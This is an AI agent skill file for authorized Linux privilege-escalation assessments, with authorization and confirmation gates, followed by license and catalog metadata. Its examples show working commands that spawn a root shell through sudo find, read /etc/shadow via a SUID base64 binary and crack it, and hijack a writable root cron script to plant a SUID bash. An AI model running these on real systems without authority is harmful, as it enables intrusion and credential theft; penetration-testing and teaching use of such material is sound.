---
name: linux-privilege-escalation-9c8f91729a31
description: "Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control."
risk: offensive
source: community
author: zebbern
date_added: "2026-02-27"
---

> **⚠️ AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.

> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

# Linux Privilege Escalation

## Detailed Guide

Read [the detailed guide](references/detailed-guide.md) before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.

## Constraints and Guardrails

### Operational Boundaries
- Verify kernel exploits in test environment before production use
- Failed kernel exploits may crash the system
- Document all changes made during privilege escalation
- Maintain access persistence only as authorized

### Technical Limitations
- Modern kernels may have exploit mitigations (ASLR, SMEP, SMAP)
- AppArmor/SELinux may restrict exploitation techniques
- Container environments limit kernel-level exploits
- Hardened systems may have restricted sudo configurations

### Legal and Ethical Requirements
- Written authorization required before testing
- Stay within defined scope boundaries
- Report critical findings immediately
- Do not access data beyond scope requirements

## Examples

### Example 1: Sudo to Root via find

**Scenario**: User has sudo rights for find command

```bash
$ sudo -l
User user may run the following commands:
    (root) NOPASSWD: /usr/bin/find

$ sudo find . -exec /bin/bash \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
```

### Example 2: SUID base64 for Shadow Access

**Scenario**: base64 binary has SUID bit set

```bash
$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64

$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::

# Crack offline with john
$ john --wordlist=rockyou.txt shadow.txt
```

### Example 3: Cron Job Script Hijacking

**Scenario**: Root cron job executes writable script

```bash
$ cat /etc/crontab
* * * * * root /opt/scripts/backup.sh

$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh

$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh

# Wait 1 minute
$ /tmp/bash -p
# id
uid=1000(user) gid=1000(user) euid=0(root)
```

## When to Use
This skill is applicable to execute the workflow or actions described in the overview.


---
Source attribution: FrancoStino
Original project: https://github.com/FrancoStino/opencode-skills-collection/blob/9a4d25d6b2b25441e049bb2ccb479d0f9fa67c70/bundled-skills/linux-privilege-escalation/SKILL.md
License: MIT
License information: https://opensource.org/license/mit
Original upstream instructions; downloaded from Mega AI Hub.

## Upstream license notice

MIT License

Copyright (c) 2026 Davide Ladisa

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.



# Mega AI Hub resource metadata

Creator / publisher: FrancoStino
Original project: https://github.com/FrancoStino/opencode-skills-collection/blob/9a4d25d6b2b25441e049bb2ccb479d0f9fa67c70/bundled-skills/linux-privilege-escalation/SKILL.md
Attribution basis: Source repository record

Fields of work: Development & Engineering
Roles: Backend Developer, DevOps / SRE, Security Engineer
Specialties: Backend
Tools: Linpeas
Country applicability: Country not specified
Classification basis: Source catalog labels
Instruction SHA-256: fd1fa61fd1e12fa19232554f2e19535d50cd5a4ad58b61712dacfa01ee27a123